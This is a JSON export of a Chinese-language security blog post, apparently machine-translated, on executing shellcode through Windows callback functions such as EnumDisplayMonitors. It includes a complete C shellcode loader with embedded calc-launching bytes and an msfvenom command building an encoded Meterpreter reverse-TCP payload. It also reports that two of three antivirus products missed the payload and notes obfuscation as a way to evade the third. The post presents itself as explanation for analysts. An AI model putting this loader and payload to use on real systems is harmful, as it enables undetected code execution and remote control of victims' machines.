{"id":221,"date":"2022-06-16T14:30:39","date_gmt":"2022-06-16T06:30:39","guid":{"rendered":"http:\/\/www.aqwu.net\/wp\/?p=221"},"modified":"2022-06-16T14:30:39","modified_gmt":"2022-06-16T06:30:39","slug":"%e9%80%9a%e8%bf%87-windows-%e5%9b%9e%e8%b0%83%e8%bf%90%e8%a1%8c-shellcode","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=221","title":{"rendered":"\u901a\u8fc7 Windows \u56de\u8c03\u8fd0\u884c Shellcode"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">\u4ecb\u7ecd<\/h4>\n\n\n\n<p>\u5f53\u6211\u7b2c\u4e00\u6b21\u770b\u5230\u901a\u8fc7 Microsoft Windows \u56de\u8c03\u6267\u884c Shellcode \u80cc\u540e\u7684\u6280\u672f\u65f6\uff0c\u6211\u8ba4\u4e3a\u8fd9\u7b80\u76f4\u5c31\u662f\u9b54\u6cd5\u3002\u4f46\u662f\u540e\u6765\uff0c\u7a0d\u5fae\u6316\u6398\u4e86\u4e00\u4e0b\uff0c\u6211\u53d1\u73b0\u5b83\u771f\u662f\u592a\u68d2\u4e86\uff01\u5982\u4eca\uff0c\u8fd9\u79cd\u6280\u672f\u5728\u5730\u4e0b\u793e\u533a\u4e2d\u88ab\u5e7f\u6cdb\u7528\u4e8e\u6ce8\u5165<code>shellcode<\/code>\u6b63\u5728\u8fd0\u884c\u7684\u8fdb\u7a0b\u4e2d\uff0c\u56e0\u6b64\u6211\u51b3\u5b9a\u5199\u4e00\u7bc7\u535a\u5ba2\u6587\u7ae0\uff0c\u5411\u7f51\u7edc\u5b89\u5168\u5206\u6790\u5e08\u8bf4\u660e\u5982\u4f55\u5904\u7406\u5b83\u3002\u5f53\u5929\u7684\u8981\u70b9\u662f\uff1a<em>\u4e0d\u8981\u518d\u76f8\u4fe1\u4f60\u7684\u56de\u8c03\u51fd\u6570\u4e86\uff01<\/em><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u4ec0\u4e48\u662fand\u7684\u56de\u8c03\u51fd\u6570\uff1f<\/h4>\n\n\n\n<p>\u6839\u636e\u5fae\u8f6f\u7684\u8bf4\u6cd5\uff1a\u201c\u56de\u8c03\u51fd\u6570\u662f\u6258\u7ba1\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684\u4ee3\u7801\uff0c\u53ef\u5e2e\u52a9\u975e\u6258\u7ba1 DLL \u51fd\u6570\u5b8c\u6210\u4efb\u52a1\u3002\u5bf9\u56de\u8c03\u51fd\u6570\u7684\u8c03\u7528\u95f4\u63a5\u5730\u4ece\u6258\u7ba1\u5e94\u7528\u7a0b\u5e8f\u901a\u8fc7 DLL \u51fd\u6570\u4f20\u9012\u56de\u6258\u7ba1\u5b9e\u73b0\u3002\u201d<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u5982\u679c\u6211\u4eec\u5bf9&nbsp;<code>EnumDisplayMonitors<\/code>from\u8fdb\u884c\u66f4\u63a5\u8fd1\u7684\u6218\u5229\u54c1\uff0c<code>user32.dll<\/code>\u6211\u4eec\u6709\u4ee5\u4e0b\u754c\u9762\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL EnumDisplayMonitors(\n  &#91;in] HDC             hdc,\n  &#91;in] LPCRECT         lprcClip,\n  &#91;in] MONITORENUMPROC lpfnEnum,\n  &#91;in] LPARAM          dwData\n);<\/code><\/pre>\n\n\n\n<p>\u6839\u636eMSDN\uff1a<\/p>\n\n\n\n<p><code>[in] hdc<\/code><\/p>\n\n\n\n<p>\u5b9a\u4e49\u53ef\u89c1\u611f\u5174\u8da3\u533a\u57df\u7684\u663e\u793a\u8bbe\u5907\u4e0a\u4e0b\u6587\u7684\u53e5\u67c4\u3002\u5982\u679c\u6b64\u53c2\u6570\u4e3a&nbsp;<strong>NULL<\/strong>\uff0c\u5219&nbsp;&nbsp;\u4f20\u9012\u7ed9\u56de\u8c03\u51fd\u6570&nbsp;\u7684<em>hdcMonitor\u53c2\u6570\u5c06\u4e3a<\/em><strong>NULL<\/strong>\uff0c\u5e76\u4e14\u611f\u5174\u8da3\u7684\u53ef\u89c1\u533a\u57df\u662f\u5305\u542b\u684c\u9762\u4e0a\u6240\u6709\u663e\u793a\u5668\u7684\u865a\u62df\u5c4f\u5e55\u3002<\/p>\n\n\n\n<p><code>[in] lprcClip<\/code><\/p>\n\n\n\n<p>\u6307\u5411&nbsp;&nbsp;\u6307\u5b9a\u526a\u5207\u77e9\u5f62\u7684<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/api\/windef\/ns-windef-rect\">RECT\u7ed3\u6784\u7684\u6307\u9488\u3002<\/a>\u611f\u5174\u8da3\u533a\u57df\u662f\u526a\u5207\u77e9\u5f62\u4e0e&nbsp;<em>hdc<\/em>\u6307\u5b9a\u7684\u53ef\u89c1\u533a\u57df\u7684\u4ea4\u70b9\u3002\u5982\u679c&nbsp;<em>hdc<\/em>&nbsp;\u4e0d\u4e3a<strong>NULL<\/strong>\uff0c\u5219\u526a\u5207\u77e9\u5f62\u7684\u5750\u6807\u76f8\u5bf9\u4e8e&nbsp;<em>hdc<\/em>\u7684\u539f\u70b9\u3002\u5982\u679c&nbsp;<em>hdc<\/em>&nbsp;\u4e3a&nbsp;<strong>NULL<\/strong>\uff0c\u5219\u5750\u6807\u662f\u865a\u62df\u5c4f\u5e55\u5750\u6807\u3002&nbsp;\u5982\u679c\u60a8\u4e0d\u60f3\u88c1\u526a&nbsp;<em>hdc<\/em>\u6307\u5b9a\u7684\u533a\u57df\uff0c\u5219\u6b64\u53c2\u6570\u53ef\u4ee5\u4e3a&nbsp;<strong>NULL<\/strong>\u3002<em><\/em><\/p>\n\n\n\n<p><code>[in] lpfnEnum<\/code><\/p>\n\n\n\n<p>\u6307\u5411&nbsp;<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/api\/winuser\/nc-winuser-monitorenumproc\">MonitorEnumProc<\/a>&nbsp;\u5e94\u7528\u7a0b\u5e8f\u5b9a\u4e49\u7684\u56de\u8c03\u51fd\u6570\u7684\u6307\u9488\u3002<\/p>\n\n\n\n<p><code>[in] dwData<\/code><\/p>\n\n\n\n<p><strong>EnumDisplayMonitors<\/strong>&nbsp;\u76f4\u63a5\u4f20\u9012\u7ed9&nbsp;<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/api\/winuser\/nc-winuser-monitorenumproc\">MonitorEnumProc<\/a>&nbsp;\u51fd\u6570\u7684\u5e94\u7528\u7a0b\u5e8f\u5b9a\u4e49\u7684\u6570\u636e&nbsp;\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u4ec0\u4e48\u662f\u9ed1\u5ba2\uff01\uff1f<\/h4>\n\n\n\n<p>\u73b0\u5728\uff0c\u8ba9\u6211\u4eec\u5c1d\u8bd5\u60f3\u8c61\u5982\u679c\u6211\u4eec\u5c06\u8fd0\u884c\u7684 Shellcode \u4f5c\u4e3a CallBack \u51fd\u6570\u4f1a\u53d1\u751f\u4ec0\u4e48\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u7cfb\u7edf\u5c06\u5c1d\u8bd5\u6267\u884c\u8ba4\u4e3a\u8fd0\u884c<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/desktop\/api\/winuser\/nc-winuser-monitorenumproc\">MonitorEnumProc<\/a>\u5b9e\u73b0\u7684 Shellcode \u3002\u4e00\u65e6\u8fd0\u884c\u521a\u521a\u53d1\u751f\uff08\u5373\u7cfb\u7edf\u8fd0\u884c\u4e86\u6ce8\u5165\u7684 Shellcode\uff09\uff0c<code>IP<\/code>\uff08\u6307\u4ee4\u6307\u9488\uff09\u5c06\u83b7\u5f97\u4e00\u4e2a\u8d85\u51fa\u754c\u9650\u7684\u503c\uff0c\u6700\u7ec8\u5c06\u5bfc\u81f4\u5f02\u5e38\u3002\u4f46\u662f\u5728\u5f02\u5e38\u4e0a\u5347\u4e4b\u524d\uff0cShellcode \u5df2\u7ecf\u88ab\u6267\u884c\u4e86\u3002\u5728\u4f4e\u7ea7\u8bed\u8a00\u4e2d\uff0c\u6bd4\u5982 C \u751a\u81f3 C++ \u4e2d\uff0c\u5f53\u4f60\u60f3\u521b\u5efa\u56de\u8c03\u65f6\uff0c\u4f60\u9700\u8981\u5411\u7236\u51fd\u6570\u63d0\u4f9b\u4e00\u4e2a\u6307\u5411\u6240\u9700\u5185\u5b58\u7a7a\u95f4\u7684\u6307\u9488\uff0c\u56de\u8c03\u51fd\u6570\u6240\u5728\u7684\u4f4d\u7f6e\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u51c6\u5907\u8fd9\u6837\u7684\u6267\u884c\u524d\u7684\u5185\u5b58\u7a7a\u95f4\u3002\u9996\u5148\u8ba9\u6211\u4eec\u4ece\u4e0b\u9762\u7684\u542f\u52a8\u5668\u5f00\u59cb\uff0c\u8ba9\u6211\u4eec\u68c0\u67e5\u4e3b\u8981\u7684\u6267\u884c\u6b65\u9aa4\uff08\u6765\u81ea<em>aahmad097&nbsp;<\/em><a href=\"https:\/\/github.com\/aahmad097\/AlternativeShellcodeExec\">repo<\/a>\uff09\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n\n\nint err(const char* errmsg) {\n\n\n    printf(\"Error: %s (%u)\\n\", errmsg, ::GetLastError());\n    return 1;\n\n}\n\n\/\/ alfarom256 calc shellcode\nunsigned char op&#91;] =\n\"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\"\n\"\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\"\n\"\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\"\n\"\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\"\n\"\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\"\n\"\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\"\n\"\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\"\n\"\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\"\n\"\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\"\n\"\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\"\n\"\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\"\n\"\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\"\n\"\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\"\n\"\\x8b\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b\\x6f\"\n\"\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\\xba\\xa6\\x95\\xbd\\x9d\\xff\"\n\"\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\"\n\"\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff\\xd5\\x63\\x61\\x6c\"\n\"\\x63\\x2e\\x65\\x78\\x65\\x00\";\n\n\n\nint main() {\n\n\n    LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    ::RtlMoveMemory(addr, op, sizeof(op));\n\n    ::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL);\n\n\n}<\/code><\/pre>\n\n\n\n<p>\u50cf\u5f80\u5e38\u4e00\u6837\uff0c\u7b2c\u4e00\u6b65\u662f\u51c6\u5907\u5185\u5b58\uff1a\u4e3a Shellcode \u521b\u5efa\u6b63\u786e\u7684\u7a7a\u95f4\u5e76\u5c06\u5176\u590d\u5236\u5230\u51c6\u5907\u597d\u7684\u5185\u5b58\u4e2d\u3002\u5728\u90a3\u4e4b\u540e\uff0c\u6211\u4eec\u8c03\u7528<code>EnumDisplayMonitors<\/code>\uff0c\u6211\u4eec\u7ed9\u51fa\u4e00\u4e2a double<code>Null<\/code>\u4f5c\u4e3a\u524d\u4e24\u4e2a\u53c2\u6570\uff08\u5982\u6587\u6863\u6240\u8ff0\uff09\u548c\u6307\u5411\u5148\u524d\u5206\u914d\u7684\u5185\u5b58\u7684\u6307\u9488\uff1a\u5b83\u5e94\u8be5\u662f<code>MONITORENUMPROC<\/code>\u5b9e\u73b0\u51fd\u6570\uff08\u4f46\u4e0d\u662f\uff09\u3002\u7cfb\u7edf\u901a\u8fc7\u5176\u8c03\u7528\u7684\u8c03\u5ea6\u7a0b\u5e8f\u6765\u5904\u7406\u56de\u8c03<code>ntdll_KiUserCallbackDispatcher<\/code>\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/callback_asm1.png?resize=1024%2C692&amp;ssl=1\" alt=\"\" class=\"wp-image-11021\"\/><figcaption>\u56de\u8c03\u8c03\u5ea6\u7a0b\u5e8f<\/figcaption><\/figure>\n\n\n\n<p>\u4e00\u65e6\u6d41 (&nbsp;<code>instruction pointer<\/code>) \u5230\u8fbe\u8c03\u5ea6\u7a0b\u5e8f\u51fd\u6570\uff0c\u5e93 (&nbsp;<code>ntt.dll<\/code>) \u5c31\u4f1a\u8c03\u7528\u7ed9\u5b9a\u7684\u6307\u9488\uff08\u5728\u4e0b\u56fe\u4e2d\u547d\u540d\u4e3a\uff1a\uff09<code>unk_7FFB798435C0<\/code>\u3002\u9b54\u672f\u5728\u8fd9\u91cc\u53d1\u751f\u4e86\uff01\u671f\u671b\u5b83\u81ea\u5df1\u7684<code>ntdll_KiUserCallbackDispatcher<\/code>\u7cd6\u679c\uff08\u63a5\u53e3\u4e2d\u63cf\u8ff0\u7684\u6b63\u786e\u8fd4\u56de\u503c<code>MONITORENUMPROC<\/code>\uff09\u5e76\u901a\u8fc7\u51fd\u6570\u5c06\u6574\u4e2a\u5bf9\u8c61\u8fd4\u56de<code>ntdll_NtCallbackReturn<\/code>\u7ed9\u7236\u51fd\u6570\uff0c\u5728\u8fd9\u79cd\u7279\u5b9a\u60c5\u51b5\u4e0b\uff0c\u7531\u4e8e\u5b9e\u73b0\u7684\u56de\u8c03\u51fd\u6570\u4e0d\u5c0a\u91cd<code>MONITORENUMPROC<\/code>\u63a5\u53e3\uff08\u5b83\u662f\u4e00\u4e2a WinExec \u5230 Calc.exe) \u3002\u5728\u6b64\u7c7b\u5f02\u5e38\u4e4b\u524d\uff0cShellcode \u901a\u8fc7\u8fd0\u884c shell WinExecute \u51fd\u6570\u5f00\u59cb\u5176\u8def\u5f84\u3002\u4e0b\u56fe\u663e\u793a\u4e86\u6211\u7684\u610f\u601d\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/WindowsExec_RunShellCode.png?resize=1024%2C487&amp;ssl=1\" alt=\"\" class=\"wp-image-11022\"\/><figcaption>\u8d62\u6267\u884c\u6d41\u7a0b<\/figcaption><\/figure>\n\n\n\n<p>final<code>jmp rax<\/code>\u8df3\u8f6c\u5230<code>kernel32_WinExec<\/code>\u6700\u7ec8\u8fd0\u884c\u7684\uff08\u8fdb\u5165 shellcode\uff09<code>calc.exe<\/code>\u3002\u6211\u4eec\u521a\u521a\u8bc1\u660e\u4e86\u4e00\u79cd\u975e\u5e38\u6709\u8da3\u7684\u65b9\u5f0f\uff0c\u901a\u8fc7\u4f7f\u7528\u5408\u6cd5\u51fd\u6570\u5229\u7528\u4f5c\u4e3a\u5728\u591a\u4e2a Microsoft \u5e93\u4e2d\u4f7f\u7528\u7684\u7ed3\u679c\u7f16\u8bd1\u6280\u672f<br>\u5c06 Shellcode \u6ce8\u5165\u8fdb\u7a0b\u3002<code>jmp to rax<\/code>\u6362\u53e5\u8bdd\u8bf4\uff0c\u6211\u4eec\u521a\u521a\u5229\u7528\u4e86\u5e93\u5b9e\u73b0\u56de\u8c03\u51fd\u6570\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">AV \u8986\u76d6\uff1a\u5feb\u901f\u7b14\u8bb0<\/h4>\n\n\n\n<p>\u73b0\u5728\u7684\u95ee\u9898\u53ef\u80fd\u662f\uff1a\u81ea\u52a8\u9a7e\u9a76\u6c7d\u8f66\u80fd\u8bc6\u522b\u8fd9\u79cd\u6ce8\u5165\u6280\u672f\u5417\uff1f\u5982\u679c\u662f\u8fd9\u6837\uff0c\u4ed6\u4eec\u7684\u884c\u4e3a\u5982\u4f55\uff1f<\/p>\n\n\n\n<p>\u4e3a\u4e86\u56de\u7b54\u8fd9\u6837\u7684\u95ee\u9898\uff0c\u6211\u4ece<em>aahmad097<\/em>\u793a\u4f8b\u4e2d\u66f4\u6539\u4e86 Shellcode\uff0c\u63d2\u5165\u4e86\u4e00\u4e2a\u7ecf\u5178\u4e14\u4f17\u6240\u5468\u77e5\u4e14\u516c\u8ba4\u7684 Meterpreter\u3002\u4e0b\u56fe\u663e\u793a\u4e86\u4e00\u4e2a\u7b80\u5355\u7684\u8fd0\u884c<code>meterpreter<\/code>\u3002\u751f\u6210\u7684shell\u4ee3\u7801\u5f88<code>msfvenom<\/code>\u7b80\u5355\uff0c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=192.168.1.38 LPORT=8888 -i 5 -e cmd\/powershell_base64 -f c<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/sessionOpened_NoAV.png?resize=1024%2C602&amp;ssl=1\" alt=\"\" class=\"wp-image-11030\"\/><\/figure>\n\n\n\n<p>\u5904\u7406\u7a0b\u5e8f\u4f5c\u4e3a\u7b80\u5355<code>metasploit<\/code>&nbsp;<code>multi\/handler<\/code>\u8fd0\u884c\u8fdb\u884c\u7ba1\u7406\u3002\u5728\u56fe\u50cf\u7684\u9876\u90e8\uff0c\u5e26\u6709\u8fdc\u7a0b\u4f1a\u8bdd\u7684\u5904\u7406\u7a0b\u5e8f\u8fd0\u884cmeterpreter\uff0c\u5728\u5e95\u90e8\uff0c<code>shellcode<\/code>\u5728\u53d7\u5bb3\u4e3b\u673a\u4e0a\u8fd0\u884c\u3002\u8be5\u4ee3\u7801\u5df2\u901a\u8fc7 Visual Studio 2022 \u7f16\u8bd1\u5e76\u547d\u540d<code>EnumDisplayMonitrs.exe&nbsp;<\/code>\uff0c\u6070\u597d\u662f\u7528\u4e8e\u6ce8\u5165 Meterpreter shellcode \u7684\u51fd\u6570\u540d\u79f0\u3002<\/p>\n\n\n\n<p>\u6211\u6240\u505a\u7684\u6d4b\u8bd5\u5f88\u7b80\u5355\uff0c\u610f\u4e49\u4e0d\u5927\uff0c\u4e5f\u8bb8\u53ea\u662f\u6307\u793a\u6027\u7684\u3002\u6211\u5b9e\u9645\u4e0a\u4e0d\u60f3\u5224\u65ad\u4efb\u4f55\u9009\u5b9a\u7684 AV\uff0cAV \u662f\u4ece\u5728\u7ebf\u53ef\u7528\u7684\u4e3b\u8981 AV \u4e2d\u968f\u673a\u9009\u62e9\u7684\uff0c\u6211\u4e00\u76f4\u5728\u4f7f\u7528\u76f8\u5173 AV \u7684\u514d\u8d39\u548c\u8bc4\u4f30\u7248\u672c\uff0c\u5e76\u4e14\u6d4b\u8bd5\u662f\u4f7f\u7528\u9ed8\u8ba4\u5b89\u88c5\u53c2\u6570\u6267\u884c\u7684\uff0c\u6ca1\u6709\u4efb\u4f55\u8c03\u6574\u3002\u76ee\u6807\u662f\u4e3b\u8981\u4e86\u89e3\u653b\u51fb\u8005\u901a\u8fc7\u4f7f\u7528\u548c\u6539\u8fdb\u8be5\u6280\u672f\u53ef\u4ee5\u6267\u884c\u7684\u64cd\u4f5c\u3002<\/p>\n\n\n\n<p>\u7b2c\u4e00\u4e2a\u7ecf\u8fc7\u6d4b\u8bd5\u7684 AV \u6839\u672c\u6ca1\u6709\u8bc6\u522b\u51fa\u5a01\u80c1\u3002\u6211\u8981\u6c42\u626b\u63cf\u7279\u5b9a\u7684\u7f16\u8bd1\u6587\u4ef6\uff08<code>EnumDisplayMonitrs.exe<\/code>\uff09\uff0c\u4f46\u4e00\u5207\u90fd\u5f88\u597d\uff1a\u6ca1\u6709\u53d1\u73b0\u5a01\u80c1\u3002\u6211\u8fd8\u8fd0\u884c\u6709\u6548\u8d1f\u8f7d\u4ee5\u67e5\u770b\u662f\u5426\u4f1a\u89e6\u53d1\u5185\u5b58\uff0c\u4f46\u4e5f\u6ca1\u6709\u68c0\u6d4b\u5230\u4efb\u4f55\u4e1c\u897f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/TrendMicro_Anonymized.png?resize=1024%2C628&amp;ssl=1\" alt=\"\" class=\"wp-image-11033\"\/><\/figure>\n\n\n\n<p>\u7b2c\u4e8c\u4e2a AV \u4f5c\u4e3a\u7b2c\u4e00\u4e2a\u6267\u884c\u3002\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5728\u9759\u6001\u5206\u6790\u548c\u8fd0\u884c\u65f6\u6267\u884c\u671f\u95f4\u5747\u672a\u68c0\u6d4b\u5230\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/Defender_Anonymized.png?resize=1024%2C565&amp;ssl=1\" alt=\"\" class=\"wp-image-11034\"\/><\/figure>\n\n\n\n<p>\u7b2c\u4e09\u4e2a\u6d4b\u8bd5\u7684 AV \u901a\u8fc7\u9759\u6001\u5206\u6790\u68c0\u6d4b\u5230\u5a01\u80c1\uff08\u8fd9\u610f\u5473\u7740\u5f88\u5bb9\u6613\u9003\u907f\u6709\u52a8\u673a\u7684\u653b\u51fb\u8005\uff09\uff0c\u4f46\u4e0d\u662f\u5728\u6267\u884c\u671f\u95f4\uff08\u52a8\u6001\u68c0\u6d4b\uff09\u3002\u5bf9\u9759\u6001\u6587\u4ef6\u7684\u68c0\u6d4b\u53ef\u80fd\u662f\u4e00\u4e9b\u4e0a\u5347\u7b7e\u540d\u7684\u57fa\u7840\u3002\u4f7f\u7528\u6df7\u6dc6\u548c\u52a0\u5bc6\u7b49\u6280\u672f\u7684\u79ef\u6781\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u66f4\u6539\u542f\u52a8\u5668\u4ee3\u7801\u6216\u901a\u8fc7 API \u6c61\u67d3\u6216\u5f15\u5165\u6df7\u6dc6\u5668\u6216\u52a0\u5bc6\u5668\u6765\u8f7b\u677e\u9003\u907f\u8fd9\u79cd\u68c0\u6d4b\u6280\u672f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i0.wp.com\/marcoramilli.com\/wp-content\/uploads\/2022\/06\/BitDefender_anonymized.png?resize=1024%2C566&amp;ssl=1\" alt=\"\" class=\"wp-image-11035\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u7ed3\u8bba<\/h4>\n\n\n\n<p>\u4eca\u5929\uff0c\u6211\u4eec\u770b\u5230\u4e86\u4e00\u79cd\u901a\u8fc7 Microsoft Windows \u56de\u8c03\u51fd\u6570\u6267\u884c Shellcode \u7684\u6709\u8da3\u65b9\u5f0f\uff0c\u5e76\u4e14\u6211\u4eec\u63d0\u4f9b\u4e86\u5feb\u901f\u4e14\u4e0d\u5b8c\u6574\u7684 AV \u8986\u76d6\u3002\u5982\u679c\u60a8\u60f3\u77e5\u9053\u6709\u591a\u5c11 Microsoft \u51fd\u6570\u5bf9\u8fd9\u79cd\u6280\u672f\u201c\u8106\u5f31\u201d\uff0c\u8bf7\u67e5\u770b<a href=\"https:\/\/github.com\/aahmad097\/AlternativeShellcodeExec\">\u6b64\u5904<\/a>\u7684 aahmad097 \u5b58\u50a8\u5e93\uff0c\u60a8\u4f1a\u60ca\u8bb6\u4e8e\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u591a\u5c11\u5165\u53e3\u70b9\u5728\u60a8\u7684 Windows \u673a\u5668\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ecb\u7ecd \u5f53\u6211\u7b2c\u4e00\u6b21\u770b\u5230\u901a\u8fc7 Microsoft Windows \u56de\u8c03\u6267\u884c Shellcode \u80cc\u540e\u7684\u6280\u672f\u65f6\uff0c\u6211\u8ba4 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[43],"tags":[74,73],"class_list":["post-221","post","type-post","status-publish","format-standard","hentry","category-infoarticle","tag-shellcode","tag-windows"],"views":1606,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/221","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=221"}],"version-history":[{"count":1,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/221\/revisions"}],"predecessor-version":[{"id":222,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/221\/revisions\/222"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=221"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=221"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=221"}],"curies":[{"name":"wp","href":"https:\/\/api.w.